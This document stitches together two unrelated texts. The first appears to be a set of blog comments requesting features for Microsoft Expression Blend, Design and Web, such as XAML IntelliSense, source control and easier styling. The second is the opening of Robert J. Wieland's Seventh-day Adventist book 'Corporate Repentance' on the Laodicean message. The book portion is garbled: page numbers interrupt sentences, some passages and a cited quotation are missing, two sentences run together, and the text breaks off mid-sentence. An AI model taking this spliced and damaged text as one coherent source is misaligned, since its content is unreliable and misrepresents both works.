Another wish that i have is that Expression Web to share the same WPF interface like Blend and Design (more exactly the black version i’m interested in ) and have panels that can be hidden like ones in Visual Studio.Expression Web actual interface it’s very ugly and nonproductive.
Thanks.
One other thing that bugs me all the time working in Blend is the fact that when I open app.xaml to edit Styles and Resources, a message shows that it cannot be edited in the Design View.
Since I am going the edit the XAML anyway and won’t go to the Resources Panel and since you already know that I want to open app.xaml (because you can show the message), why don’t you just open it in XAML Mode? Make it an option if you must, you can even add the opportunity to hide the panels at the same time
Success!
Great idea to share our needs with You!
So here is my list:
1. First and foremost – InteliSense in XAML.
2. Design available as a separate product (I know it is basically free as a part of Expression Studio, and yes I am aware of it’s role in whole Designers – Developers collab story, but yet – It would be nice for users to have it available as a standalone product.
3. PLEASE bring us back bitmap editing features that were once available in Design (last time seen in September CTP years ago:) ) I’m (We are) really missing that, and having Design being able to combine bitmap editing features with state-of-the-art vector tools would be BIG thing. Dum spiro, spero! I’m, sure and confident product teams are listening!
4. Set of animation templates – something to make creating common animations easy and quick. I believe Adobe’s Flash UI supports that.
5. Some bitmap effects for Silverlight ( I’m aware that this means some trade-off on aspect of SL plug-in size, but It sure would be nice thing to have).
6. By all means possible – control styling and templating support for SL 2.0 in Blend 2.5. Doing things "by hand" is not my way of seeing things done quickly. I want to focus on creativity and potentials, not on hand editing of XAML (which brings us to point 1 – InteliSense…).
So, let’s see some of these improvements we are all waiting for!
Thanks!
+1 For simplifying grid Margins, Width, MaxWidth. The MaxHeight/MaxWidth properties are collapsed even though there are only 3 properties for row and collumn! Perhaps shift-clicking any property could reset it as this is a frequent operation.
+1 For improved databinding, maybe a design time DataContext? Being able to create your own sample data without the need for declaring the class would be helpful for prototyping.
*The feature I would most like to see is to be able to open a style or template in its own tab. Editing styles and templates is one of the best features of blend but it seems to require far too many clicks.
*Better support for creating/editing tile brushes, they never seem to be aligned when I use blend to create them.
*The resources panel could be a bit more useful it could highlight unused resources, be a tree instead of a list so you can easily access a styles’ template, move a template inside/outside of a style. It could also show all the resources for a project instead of changing depending on the current file and be more of a navigation aid. When you edit a resource you could switch to the properties panel.
*Putting edited properties above the others like some css editors do might be worth consideration or you could just emphasize the properties that have been set more.
Thanks for reading.
Please allow it to read/edit old Photodraw .mix files. There is no program to edit these, since the product was discontinued. I have thousands to convert.
Just to reiterate, thanks a lot to all of you for providing us this feedback. While we can’t publically communicate exactly which of the suggested features will be in the next version of Blend, the suggestions do help (and are currently helping!) us with our planning on the next versions of Blend and beyond
Previously on the blog I’ve explained how a KeySpline can be used to do animation easing . I also demonstrated
Bevel and Drop Shadow effects for panels, tabs, buttons, etc.
In a Solution with many projects, Blend allway expands all project folders. So you allways have to scroll a lot to find the right project in the solution explorer. it would be nice if there would be something like a "collapse all" in the soltion explorer. Also a "Filter Solution" to store custom workingset would be nice. Solutions often get big, evenen if you are working only on 2 projects inside a solution you allway see all projects inside the solution. And of course source controll integration. TFS yes, SVN hardly needet. A lot of the companies out there comming from Flash work with tools like eclipse, svn and cvs. Also a lot .net developer use svn. So open VS and expression to these source controlls. pleace.
Oh and for the designers. Palettes would be greate to store custom color presets.
I would like to see some form of default ordering for properties in the XAML that Blend produces. I do a lot more XAML coding by hand these days but the randomness that can infest Blend XAML code can be a nightmare … for instance I think Blend should always add things in a set order like:
<Type x:Name=""
Width=""
Height=""
Grid.Column=""
Grid.ColumnSpan=""
Grid.Row=""
Grid.
The name first, then layout, style bindings etc …
Source Control integration is just a prerequisite frankly, Blend NEEDS this big time.
One way to think of Styles is as a collection of attributes with a specific name. In Blend, currently the Style attribute itself is tucked away under the Miscellaneous panel out of sight on the bottom of the properties panel. In my view it should be in plain sight at the top of the properties panel, allowing any designer to add a new Style for a collection of properties. The current implementation is too complicated and take too many actions and clicks. The consequence of this is that designers are not creating Styles, which results in XAML files that are not well organized or refactored. Developers getting to work in these files are not laughing. Or worse, maybe they are… Actually I do refactoring in Styles in code myself, because it is much easier that way. Please, rethink the Style implementation in Blend…
I always use drag and drop text in text editors and miss it very much in the Blend Editor. Actually the contextmenu with the Cut, Copy and Paste options is also missing when I regularly routinely rightclick in the editor…
Success!
Actually a [View a Fullscreen XAML] option in the Contextmenu in the Objects and Timeline panel would help. Does it look like we are editing XAML in the editor at least as much as in the Design view? We do. At least I do
+1 for InteliSense in XAML
3ds Max import (and export) for .3ds modells AND scnenes/animations. Don’t try to make a new 3d animationprogram like 3ds or Maya, just integrate them.
Erm … support Illustrators GradientMesh.
then a more intelligent Editor for DataBinding .
And for instance my Blend crashes if i like to generate a groupstyle…
XAML intellisense as an out-of-band update for current shipping v2 versions. For future versions,
1. Plugin architecture for Design and Blend (c’mon get creative about putting those WPF 3.5 SP1 hardware accelerated effects to use in Design!)
2. As someone already pointed out above, complete transparency to a code free designer friendly environment.
3. Let Blend take on Flash full on as a more full-featured and easy-to-animate WPF IDE (not platform/runtime features, IDE enhancements), and Design take on Photoshop and Illustrator. Please develop the v3 versions as major overhauls to permanently cement the Expression brand amongst designers and make them switch from Apple & Adobe to Microsoft. Let Expression make its own place as a killer product beside Windows, Office and Visual Studio.
I second the suggestions from someone above:
– Solution folder support
– XAML intellisense
Every significant app I’ve ever seen in Visual Studio uses Solution Folders…
thanks
Please add the Blend designer to Visual Studio.
As a developer I need it just like the codebehind model of ASP.NET and Windows-forms. I don’t want to use 2 different tools on the same sourcecode. And I want to be able to work together with designers form just one environment. Keep it stupid simple please.
And why is PSD (Photoshop) import/export support not implemented as a WIC codec? Please implement PSD as a WIC codec.
Intellisence is a feature that most here have talked about.
We talk about designer developer independance, but that isn’t really true. To be able to say create styles for items in ListView or ComboBox or any other control for that matter, i need to work with Data. Sometimes it means that the designer can’t design till developer has code for minimal data. Additionally, sometimes this data is only available at run time and not design time, thus making designing more difficult.
Would be good if Blend would come with pre-packaged set of data. 1 for Xml, 1 for object data provider, 1 for SQL etc. These could be used by designers to quickly create some of the visual styles and there should also be an easy way to discard this and replace this with actual application data
I would like to be able to convert my Blend Project into a SharePoint Web Part.
Find and Mark and Delete orphaned XAML attributes for Silverlight projects:
For Silverlight it is important to make the download as small as possible. I find that a lot of XAML code remains behind that can and should be removed before making a XAP file:
Grid.Column="0"
Grid.Row="0"
Grid.ColumSpan="1"
Grid.RowSpan="1"
HorizontalAlignment="Stretch"
VerticalAlignment="Stretch"
Margin="0,0,0,0"
Padding="0,0,0,0"
etc. etc.
Blend should be able to recognize, mark and delete this orphaned XAML for Silverlight projects.
∙ Intellisense for the XAML code in Blend
∙ Ability to edit and create the code behind all within Blend and not have to switch back and forth between VS2008
∙ Add Expression Design to the MSDN Premium Subscription
Those are my top requests an what others mentioned before me would only be a bonus if they made it into the next release. The big thing I think is that Blend can be used in place of VS2008 and be just as good of an IDE. Or here’s a strange idea, what if Blend was a "plug-in" inside VS2008 and integrated right inside the already beautiful IDE. I don’t know…I’m just trying to think "outside the box".
∙ XAML code folding
∙ Intellisense for the XAML
∙ More flexible layout
∙ SVG Editor
∙ Animation preview
∙ Source control system integration
Thanks.
Keyboardshortcuts for Order-> Send To Back, Order-> Bring To Front etc.
Extensibility.
Photoshop has plugins, Visual Studio has addins. Please make the Expression tools extendible so that third party developers can enhance the designer-developer experience.
It would be great if I could select multiple keyframes in a storyboard in an easier and faster way than holding CTRL
I think there desperately needs to be a way to trigger animations without having to drop back into code.
Trying to sell SL to Flash developers when you have to tell them that while they can create storyboards for animations they can’t actually trigger or get them to run without doing coding is going to be a shock.
The whole point of WPF was that the UI could be done by the designers without needing to explain to coders what they wanted… well some of that kind of goes out the window with SilverLight, as in Blend the designers aren’t able to trigger animations!!
My top 3 in order are:
1. Intellisense for XAML – I do most of my XAML editing in VS because I can then use Resharper which does a good job of this but could be better – but definitely would reduce my saving and app switching if Intellisense was built in … to at least the same standard which Jetbrains have done with Resharper & VS) – EG event handler generation etc. Better still – do 2 and I’m sure Jetbrains will be able to support it.
2. An Extensibility model.
3. It would also be nice to be able multi-select a number of controls and take an option to "surround with" another control (typically a panel of some sort, or a border).
I noticed the Completed Event is missing from the Properties panel in Blend. When I click an Animation in the Objects and Timeline panel, you do show the AutoReverse and Repeatbehavior properties. I see no reason why the Events panel in this situation is empty. The Complete Event should be showing there too..
Now we are on the topic of Animation. I found the Tweener Transition cheat sheet and noticed that two issues keep me from using the Penner transistions in Blend:
1. The Spline editor doesn’t allow the ControlPoints to move beyond the frame. This keeps me from setting an interpolation that is necessary for the Back and Elastic splines.
2. The Spline editor doesn’t allow for more than two ControlPoints. This makes the creating of the Bounce and Elastic KeySplines impossible.
I realise that with extra KeyFrames or using code it is possible to reach these result, but am wondering if these constraints could be removed to make more interesting animations easier available. They might even be coded as base interpolations in the interface…
Njoy!
A few months ago, we asked you for feedback on what are some of the things you would like to see improved
I would love making it much easier to create and edit styles.
That is, why do you have to go into the Object menu to create an empty (or edit a copy) style?
It would be so nice if you could also place the Edit Style and Edit Other Styles menu items … alongside the menu items for ‘Edit Control Parts (Template)’ and ‘Edit Other Templates’ … that is, in the right-click popup menus on the objects in the Objects and Timeline panel.
Just a small and useful suggestion … as I hate going to the Object menu whenever I have to create a Style.
Please include Design with all MSDN subscriptions. Or at lease allow it to be purchased by itself.
I can download Blend and Web as part of MSDN subscription, but now need to purchase Studio just to get Design. It would be nice if Design was also included for all MSDN subscribers. It would help adoption.
If we are going to end up spending the $700 we will probably end up going with Adobe because of the influence of our graphics team.
1. 3D needs help
– it should have a node-based schematic interface to create and assign materials like this
– with the ability to assign a map/node for the following channels – diffuse(color), normal, specular level, specular color, glossiness, emissive & opacity.
– and nodes like multiply, add, UV scaling and rotation for texture animation, etc.
– add ability to import an HLSL fx shader for assignment to a 3D object.
2. add a sprite-based Effects editor that designers can use to define UI states or just make really cool moving background with it.
3. Designers can do actionscripts in Flash but asking them to write C# code for interactivity is too much. C’mon Microsoft, you’re coming at it from a developer’s perspective. put your shoes into the user who does not have a dev support.
one design option – visual programming with nodes. Design/creative types can build the prototype by connecting various nodes & adjusting parameters. this builds a C# code in the background that a Dev person can edit later on.
4. support for gesture-based inputs.
I would like to see, in order of priority (for Blend)*.
1. The ability to bind to some sample data at design time. Designing templates without this is a real pain. This is by far my most desired feature.
2. The ability to edit resource dictionaries and themes at the same time as viewing a control’s appearance, rather than having to switch all the time.
3. Ability to load/switch/apply resource dictionaries from one project to other, non .exe based projects. Haven’t found an easy way to do this yet.
4. Greater consistency between design and blend in the way they work. Sometimes it feels like they aren’t following the same script.
5. Better file format import / export. For example XAML into design, SVG, etc.
6. When drawing using the pen in blend, make the mouse down action place the point and while the button is held adjust the position of the control point. Also make it easy to lock the relative position of points to fixed angle increments by holding a modifier key (like holding shift does in design?).
7. Better intellisense for xaml.
8. Path offsetting. However, having just spent the past few weeks working on this in my spare time, I can say it’s not easy!
9. Make drawing curves work like Xara X. IMHO it’s so natural and other packages just seem to miss the point completely.
Other wishes.
9. Make it possible to buy the products separately – e.g. blend on it’s own. I feel like I’m being fleeced.
10. Express versions?
Any plans for Office 14 to support the import of vector formats other than the evil WMF/EMF? Please. This is a coding nightmare for us. Anyone down the corridor you can pass this hint onto?
* Of course, there is always the possibility I may have missed something since I am relatively new to blend.
Oh, while I’m thinking about grips, there is one other thing I would really like to see changed in XAML / WPF.
1. Make it possible to override the default style of common controls, but *scope* where/when the new default style should be used. Restyling things like the default border causes so much havok in other controls like the groupbox that we’ve backed off and forced our users to have to apply a chosen default style manually each time.
This is generally a pain if your new default style is slightly more radical than the standard Windows style. For example, switching to white on black from the default black on white for text.
I just discovered that while drawing Path Shapes in Blend the Contol key does not switch to the Direct Tool while pressed. This is standard behavior that even Expression Design exhibits (along with other industry standard tools :). Please add this feature in Blend to make drawing Vector shapes more intuitive and give us more control over the Path that is being created.
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Ability to create an inner bevel in Blend, possibly after clipping…
I realized that ther’s a red line around the artboard for Timeline recording and with the State manager now also for State Recording. What about a green line around the artboard when you are "recording" a Style. When you click the Color Palette Icon in the breadcrumb bar, you are in a Style Recording mode, aren’t you? A visual indication of this using the green that is used for styles and resources, would be a great!
I would very much like to see XAML import incorporated into Expression Design. To import objects and brush resources in Design.
Better support for the Adobe Suite
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Corporate Repentance - Robert J. Wieland
CORPORATE
REPENTANCE
Robert J. Wieland
1
Foreword
This small book deals with the basic problem of
heart-motivation. It searches the recesses of the
Adventist conscience and stresses the final call of
the True Witness. After 6000 years of waiting, the
Saviour makes His last plea. This has gone
unheeded for well over a century.
The truth which is to test the world in the endtime
has not yet been appreciated, nor have God's
chosen people truly been tested by it. How long can
we continue with "business-as-usual?"
There are those in the church who say that
persecution can solve our spiritual problem. But is
persecution the cause or the effect of revival and
reformation among God's people? How does
persecution fit into the Day-of-Atonement which we
have long held as vital to the final ministry of the
True Witness?
And then, if it is the enemy of God who presses
for persecution, why is he waiting?
2 our door, still knocking for
admission. The history of our spiritual forefathers
demands clear understanding.
How could the Lord of the universe do more
than He has done to plead with His "angel of the
church of the Laodiceans?"
May the Lord use the message of this book to
help us understand that call of the True Witness for
the repentance of the ages. The great High Priest
3
wants to rise up and proclaim, "It is done." The
power of the gospel will have then proved its
strength, and the atonement will be demonstrated
to be complete.
Donald K. Short
4
Introduction
In the ancient kingdoms of Israel and Judah, the
Lord's almost constant problem was what to do
with human leadership. King after king led the
people into apostasy until the two nations were
devastated and had to go into captivity under pagan
rule.
But never has the Lord had a more difficult
problem to solve than the lukewarmness of "the
angel of the church of the Laodiceans," the human
leadership of His last-day remnant church. The
solution Christ proposes is to "repent." Our usual
"historic" understanding has been that such
repentance is only personal, or individual.
This sounds easy enough, but our history of
nearly a century and a half demonstrates that the
experience has thus far eluded us. Could it be that
He is addressing us as a corporate body, and
therefore He is calling for corporate repentance?
Discussion of this topic has been suppressed for
5
decades and is therefore a new subject to many
people. But it is now beginning to attract serious
attention.
This book is a complete revision of a previous
work entitled As Many As I Love. The author
dedicates this effort to the One who has every right
to call us to repentance, for it was He who gave
Himself on His cross to redeem us, who died our
second death in our stead, and who gave us His life
instead.
But the vast proportion of the world still
understands little or nothing of that divine sacrifice
or of the love that prompted it. While it is true that
we do many diligent "works," the Book of
Revelation discloses that the most difficult-to-solve
hindrance to the finishing of that gospel
commission worldwide is the spiritual unbelief and
lukewarmness of "the angel of the church of the
Laodiceans."
How can the Lord solve the problem? Will it
help to let punitive judgments and disasters come
6
upon us? More terrible world wars? More lethal
epidemics? A rending of the mountains and
breaking the rocks in pieces? More storms and
earthquakes? More fires like those that destroyed
the Battle Creek Sanitarium and the Review and
Herald early in this century?
Or could it be that understanding that a still
small voice is calling us to denominational
repentance might be effective?
Hopefully this modest contribution may help to
demonstrate that such repentance makes very good
sense in this last decade of the twentieth century.
7
Chapter 1
A FAX Direct From Heaven
Does Jesus Christ call the Seventh-day
Adventist Church to repentance? Or does He
merely call for it from some individuals within the
church?
A FAX direct from Heaven could not be more
arresting than Christ's one command to the angel of
the church of the Laodiceans: "Be zealous,
therefore, and repent." To whom does He say this?
What does He mean—"repent"?
"The angels of the seven churches" and "the
churches" are not the same. They are distinct. "The
seven candlesticks ... are the seven churches." But
"the seven stars you saw in My right hand," He
says, are "the angels" who symbolize the leadership
(Revelation 1:20). Since He addresses the message
to the angel of the church of the Laodiceans, it
must be more than individual or personal
repentance He calls for.
8
God's ministers are symbolized by the seven
stars, which He who is the first and the last has
under His special care and protection. The sweet
influences that are to be abundant in the church are
bound up with these ministers of God. … The stars
of heaven are under God's control. … So with His
ministers. They are but instruments in His hands …
(Gospel Workers, pages 13, 14).
That "angel" of the Laodicean church must
include Sabbath School leaders; academy, college,
and university teachers; local elders; deacons;
Pathfinder leaders; pastors; local and Union
conference leaders; and of course General
Conference leadership—all who guide the church.
Therefore this total body of leadership is the
focus of Christ's special attention in the Laodicean
message. It is not in any way disrespectful to the
human leadership of the church to give attention to
what the True Witness says.
Laodicea is the seventh church of history, the
9
last one just before the second coming of Christ. It
is parallel with the proclamation of the three
angels' messages of Revelation 14. No eighth
church can follow The message cannot be bad
news, for Laodicea is not a bad word. It simply
means "vindicating the people." Heeding the call to
repent redeems Laodicea from failure and provides
her with her only hope.
How Long Have We Known the Message?
In our early denominational history the
message was taken quite seriously. As far back as
1856, our pioneers expected that it would lead into
the latter rain and the final loud cry within their
generation. But with the lapse of well over a
century of seeming indifference on the part of
Heaven, we have thought the message is either not
very urgent or perhaps has already done its work.
For whatever reason, it has been relegated to the
back burner. Our modern culture is deeply
obsessed with the need for cultivating self-esteem,
both personal and denominational, and this
message appears to be not very good at doing that.
10
Hence it has also become rather unpopular to talk
about it.
Since we have assumed that the message is
addressed only to individuals, its application has
been so widely scattered that it has had no real
focus. We have not known what to do about it.
Everybody else's business is nobody's business.
But the possibility that Christ's appeal is for
corporate repentance casts the message in an
entirely different focus. If He is calling for
corporate repentance, it follows that He is also
calling for denominational repentance.
Is He Serious?
Why is He so concerned? He can't forget that
He gave His blood for the world. "The angel of the
church of Laodicea" is represented in Revelation as
standing between heaven's light and a dark world,
intercepting it. The outcome of the issue in
Revelation 3 determines the outcome of the entire
Book of Revelation. Defeat in chapter 3 will hold
up or even prevent the victory of chapter 19. We,
11
the "angel" or leadership, have delayed for a
century the final purpose of God to lighten the
world with the glory of the "everlasting gospel" in
its end-time setting. The ultimate success of the
great plan of redemption thus requires that the
"angel" heed Christ's message and overcome. If
Laodicea should fail, that entire plan would suffer a
disastrous final defeat.
The reason is obvious. Seventh-day Adventists
do not hold the doctrine of the Roman Catholic and
Protestant churches that saved people go to heaven
immediately at death. We believe that all the
righteous dead must remain in their graves until a
corporate resurrection. But this "first resurrection"
depends on the personal return of Jesus, which in
turn depends on a group of living saints getting
ready for His coming. The reason for this is that
"our God is a consuming fire" to sin (Hebrews
12:29). Christ dares not return until He has a
people in whose hearts all sin has been blotted out.
Otherwise, His coming would consume them, and
He loves them too much to do that to them. Thus it
is His love that requires Him to wait until He has
12
such a people ready. It follows that, until then, all
the righteous dead are doomed to remain prisoners
in their graves.
Can we begin to see how an enemy has been
infiltrating this church with the "new theology" lie
that it is impossible for a people to overcome sin
per se? Since the success of the entire plan of
salvation depends on its final hour, Satan is
fighting his last-ditch stand at this point.
For sure, Heaven is not concerned about our
perpetuating an organizational machine for the
sake of denominational pride, like General Motors
struggling to maintain its image in the face of
foreign competition. Heaven is concerned about the
tragic need of the world for that pure gospel
message which alone can bring deliverance from
sin to all who call upon the name of the Lord.
Suffering humanity weighs on the heart of God
more than our concern for our denominational
image. If "the angel of the church of the
Laodiceans" is standing in Heaven's way, the
Lord's message to that "angel" must get through.
13
Heaven's seeming indifference is deceptive; the
Lord is moving the very stones themselves to cry
out:
All heaven is in activity, and the angels of God
are waiting to cooperate with all who will devise
plans whereby souls for whom Christ died may
hear the glad tidings of salvation. … Souls are
perishing out of Christ, and those who profess to be
Christ's disciples are letting them die. … Oh, that
God would set this matter in all its importance
before the sleeping churches! (Testimonies, vol. 6,
pages 433, 434).
The True Head Of the Seventh-day Adventist
Church
Jesus introduces Himself as "the Amen, the
faithful and true witness." Why is He the true Head
of the Seventh-day Adventist Church? He gave His
blood for His church. He alone can convey truth to
her. No committee or institution can control Him or
forever suppress His message. The word "Amen"
indicates that He is still in business as the living
14
witness to the church. Above the conflicting din of
present-day voices, we are told that He will see to
it that His message comes through loud and clear:
Amid the confusing cries, "Lo, here is Christ!
Lo, there is Christ!" will be borne a special
testimony, a special message of truth appropriate
for this time (Ellen G. White, Seventh-day
Adventist Bible Commentary, vol. 7, page 984).
Ellen White has bemoaned our constant
tendency to put fallible human beings between
Christ and ourselves. Note how in one short
paragraph she tells us of this idolatry no less than
five times: (Testimonies to Ministers,
page 93; 1896; emphasis supplied).
15
Imagine Jesus Christ as Guest Speaker!
Christ has "eyes like a flame of fire"
(Revelation 2:18). His message is no bandaid
solution to our problems, no strategy that a
committee can devise. It is a solemn and holy
message; we will bring upon ourselves the
judgment of the ages if we disregard it. If Christ
were invited to be guest speaker to the human
leadership of the Seventh-day Adventist Church,
His message would be that of Revelation 3:14-21.
He would stir our souls to their depths. And He has
the utmost right to speak thus to us!
This topic of corporate repentance has been
sharply contested for over 40 years. General
Conference opposition has been intense and
pervasive. But in recent months two prominent
General Conference authors have rescued the topic
from disrepute and made it eligible for serious
discussion. The Senior Sabbath School Quarterly
for early 1992 openly discussed the need for it.
Could it be that the Lord's providence has opened
the way for us to inquire further into what His call
16
means? His call to "repent" must somehow make
sense to us today, and to our youth as well. We can
only seek humbly to understand it. In this modest
volume we search for its meaning.
When Will We Respond to the Lord?
Repentance is not something that we do. It is
never accomplished by voting on a committee. It is
a gift from the Lord that has to be humbly and
thankfully received (Acts 5:31). But how can we
ever find the time to receive such a gift? There is
always the eternal pressure of "do" hanging over us
all. And when will we find the will to receive? The
recent book co-authored by two General
Conference leaders plaintively asks:
Will we do the work of spiritual preparation
that God calls for, and allow Him to use us to
finish His work on earth? Or are we going to let
another opportunity slip through our fingers and
find ourselves and our children in this sinful world
for another 50 or 60 years? (Neal C. Wilson and
George E. Rice, The Power of the Spirit, page 53).
17
Can you imagine the disappointment ancient
Israel would have felt if Joshua had told them at
the River Jordan after already wandering for 40
years: "Sorry, folks, we must go back to the
wilderness to wander for another generation"? But
such a delay has already happened repeatedly in
our denominational history, and the greatest
disappointment has been to the Lord Himself.
As we near the end we are seeing centrifugal
forces at work within the church trying to force
dissension and disunion. Some may conclude that
these unprecedented buffetings mean that Jesus
Christ has abandoned the church. But His appeal to
"the angel of the church" proves that He has not
done so. His greatest concern, Heaven's highest
priority, is to effect revival, reformation, and
repentance within this church. He does care.
What does He say to us?
18
Chapter 2
Not a Word of Praise From
Jesus!
It appears that we are better pleased with
ourselves than Christ is with us. But if His truth
hurts, it also heals.
Unto the angel of the church of the Laodiceans,
write …" (Revelation 3:14, KJV).
For many decades we have assumed that the
message is addressed to the church at large. But
surprisingly, the message is addressed to its
leadership. We leaders have often erred in passing
the message on to the laity, berating them, and
blaming them for holding up the finishing of God's
work.
If the message is addressed primarily to
individuals in the church, we have some serious
problems. Seventh-day Adventists have been dying
19
for nearly 150 years. In practically all these
funerals, we have expressed the confident hope that
the deceased will arise in the first resurrection,
something impossible without their personal,
individual repentance.
Therefore, if Christ's call to repent has been
addressed primarily to individuals, it has already
been largely heeded, for we must assume that many
of these faithful saints did repent in preparation for
death. In that case, the Laodicean message
becomes virtually a dead letter. We can expect
little if any further result except continued personal
repentance as has prevailed for well over a century.
This is how the great bulk of our people, especially
youth, now view the message.
Although each of us must apply individually
and personally any counsel in the messages to the
seven churches, this call to "repent" is specifically
addressed to more than individuals. And when we
begin to understand to whom it is addressed, the
content of the message itself also takes on a more
arresting significance.
20
The appeal in Revelation 3:20 ("if any man
hear my voice") contains a significant Greek word,
tis, which primarily means "a certain one," not just
"any one." For example, it was not just "any man"
who "fled away … naked" at the betrayal of Jesus
as told in Mark 14:51, 52. The word tis is used and
is translated as "a certain young man." In the
Laodicean message, it would obviously refer. Christ said of Himself, "For their sakes I
sanctify Myself" (John 17:19).
"I know your works, that you are neither cold
nor hot. … So then, because you are lukewarm … I
will spew you out of My mouth" (Revelation 3:16).
We could superficially conclude that because the
"angel" is undeniably "lukewarm," automatically
Christ has kept His promise and has rejected us.
21
This assumption is based on the KJV and some
other translations. It has posed a serious problem to
some sincere church members and caused them to
despair of the organized church ever becoming
truly reconciled to Christ.
But the original language includes a key word,
mello, that means, "I am about to spit you out"
(NIV). It becomes clear in Revelation 10:4, where
John says he was "about to write" what "the seven
thunders had uttered," but he did not write, for "a
voice from heaven" forbade him. Jesus stands
poised, on the brink of vomiting us out. What He
actually says in vivid modern language is, "You
make Me so sick at My stomach that I feel like
throwing up!"
This is a normal human phenomenon in
extreme emotional disgust. A wife in East
Germany read her newly released STASI file (the
Communist Secret Police). She found to her horror
that during years of pretended loyal fidelity her
husband had been secretly informing on her to the
dreaded police. Her involuntary reaction: she went
22
to the bathroom and vomited. Unpleasant as it may
appear to us, Jesus tells us that this is how He feels,
not about us, but about our cherished
lukewarmness. This does not mean that He does
not love us, or that He is not faithful to us. (The
German lady also loved her husband!)
Why Does Jesus Feel This Way?
Why doesn't He say something good about us?
Is He too severe? Any president of a company,
board chairman, or military officer, knows that he
must praise his subordinates in order for them to do
their best. The human leadership of the remnant
church is surely the finest group of people in the
world! Wouldn't it be wise of Christ to say at least
something nice about us, how diligent we are, how
clever we are, what we have achieved after our 150
years of trying so hard? But He doesn't.
For sure, He is not trying to discourage us. He
simply wants us to face reality, so that we can
correct the problem and prepare to hear Him at last
say "Well done!" when the commendation will
23
mean something.
His answer, explaining why He feels like
throwing up, helps us understand the reality of our
situation. We haven't realized it, but it's
devastating. The next vision of Revelation
introduces Him as a "Lamb as though it had been
slain" before whom the hosts of Heaven and the
"twenty-four elders" bow in heartfelt worship,
singing an anthem of total devotion:
"You were slain,
And have redeemed us to God by Your blood
Out of every tribe and tongue and people and
nation,
And have made us kings and priests to our
God"
(Revelation 5:6, 9).
All Heaven understands and appreciate what it
cost Him to redeem us, how He went even to hell,
how He tasted the equivalent of our second death,
to save us. They sense the "width and length and
depth and height" of that "love of Christ which
24
passes knowledge." In contrast, "the angel" of the
church of the Laodiceans, living in the
concentrated light of six thousand years of Good
News revelation is not deeply moved. When we
should feel the same degree of appreciation, our
little shriveled-up hearts are half-frozen. "You are
lukewarm," Jesus says.
No wonder our superficial professions of love
and devotion are nauseating to Him. He gave
everything for us! When He compares the extent of
His sacrificial devotion with the meagerness of our
heart-response, He is acutely embarrassed before
the watching universe. Is it hard for us to imagine
how painful this is for Him?
Let Us See Reality as Heaven Sees It
Here we stand on the verge of the final crisis
when our spiritual maturity should be so far greater
than it is. Yet our childish indifference hurts Him.
Peter's cowardly denial of Him at His trial was
easier for Him to bear than our mild and
calculating devotion in such a time as this.
25
Arnold Wallenkampf comments incisively on
the nauseating aspects of the "group-think"
mentality that was so common among Seventh-day
Adventist leaders and ministers a century ago and
still is so today:
The main fault for the rejection of the 1888
message lay not with the people at large but with
the ministers.
This startling disclosure must be seriously
considered by each person in our church today who
is a Seventh-day Adventist minister or a teacher or
a leader in any capacity ( What Every Adventist
Should Know About 1888, page 90).
Many of the delegates to the Minneapolis
conference became accomplices in the sin of
rejecting the message of righteousness by faith,
through action according to the laws of group
dynamics. Since many of their respected and
beloved leaders rejected the message at
Minneapolis they followed these leaders in
26
ejecting it … what we today call groupthink… .
It is not a pleasant thought, but nevertheless it
is true that at the Minneapolis Conference leaders
of the Seventh-day Adventist Church reenacted the
role of the Jewish leaders in the day of Jesus.
During Christ's ministry on earth the Jewish people
were preponderantly favorable to Him. It was the
Jewish leaders who later urged them to demand His
crucifixion. At the Minneapolis conference in 1888
it was the leading brethren who spearheaded the
opposition against the message (Ibid, pages 45-47).
But What Has This to Do With Us Today?
Jesus does not say that it was the ancient Jews'
rejection and crucifixion of Him that makes Him
want to vomit. What bothers Him is that the
"angel" of the church on the stage of history in the
final act of the great* drama, knowing the history
of the Jews, should repeat it while warmly
professing to love Him. We can appreciate His
nausea if we consider how sickening it is to see any
adult acting out the naive fantasies of a child.
27
He says that we "say, I am rich, and I have
been enriched, and I have need of nothing"
(Revelation 3:17, Greek). We don't say this
verbally, but He correctly hears the language of the
heart:
The lips may express a poverty of soul that the
heart does not acknowledge. While speaking to
God of poverty of spirit, the heart may be swelling
with the conceit of its own superior humility and
exalted righteousness (Christ's Object Lessons,
page 159).
Yet we are naive about our true state in full
view of the universe. Even in the eyes of
thoughtful non-Adventists we pose a pathetic sight.
The literal Greek sharpens the impact by inserting
a little article ho, which means the one: "You don't
know that of all the seven churches you are the one
that is outstandingly wretched, and the one who is
miserable, and poor, and blind, and naked" (verse
17).
28
No one of us as a mere individual is worthy of
this distinction on the stage of world history! Christ
must be addressing us as a corporate body.
There is Hope for Us
The Lord would not spend the remainder of the
chapter telling us how to respond if He had already
finally rejected us. We make Him sick at His
stomach, but He pleads with us to relieve His pain.
This message to Laodicea is the most critically
sensitive and urgent in Scripture. The success of
the entire plan of salvation depends upon its final
hour; and Laodicea's problem is bound up with that
crisis.
Jesus says, "I counsel you to buy of me gold
tried in the fire" (verse 18). In addressing the
Seventh-day Adventist denomination and in
particular its leadership, He tells us that the first
thing we need is … not more works, more activity,
more strategies and programs. He told us in verse
15, "I know your works." Our works are already
feverishly intense. Peter identifies the "gold tried in
29
the fire" as the essential ingredient in believing the
gospel—the faith itself, which always precedes any
works of genuine righteousness (1 Peter 1:7).
In other words, Jesus tells us that what we first
need is what we have long confidently claimed that
we already possess—the knowledge and
experience of righteousness by faith. But what we
have moves us only to lukewarmness. It is the true
understanding that causes the hosts of Heaven to
serve so ardently "the Lamb who was slain." They
are totally moved by the very heart of the
message—"Christ and Him crucified," a
motivation that shames us for our petty obsession
with our own eternal security. Christ's diagnosis
strikes at the root of our leadership pride.
The Subtlety of Our Spiritual Pride
Until the publication of Wallenkampf's book in
1988, our denominational press generally
maintained that we were "enriched" at the time our
leadership supposedly accepted the beginning of
the loud cry message a century ago. In recent years
30
we have begun to take an abrupt about-face, and
now the truth is openly recognized that "we" did
not accept it. This new candor is phenomenal and
refreshing.
But surely Christ doesn't tell us now that we
still need that "gold" of genuine faith? Yes, He
says that in order for us to heal Him of His painful
nausea we need the "gold" of genuine faith, and
furthermore we need to buy it—that is, pay
something in exchange for it.
But why doesn't He give it to us? He insists that
we exchange for the genuine our helpless views of
righteousness by faith which have nurtured our
lukewarmness. We are caught in an obvious
contradiction, claiming that we adequately
understand and preach righteousness by faith, when
its proper fruits have been too sadly lacking. This
is attested by the pervasive lukewarmness of the
church. As lukewarmness is a mixture of cold and
hot water, so our spiritual problem is a mixture of
legalism and a poorly understood gospel.
31
A good dinner of wholesome food is ruined by
even a slight mixture of arsenic. We have reached
the point in world history where even a little
legalism mixed with our "gospel" has become
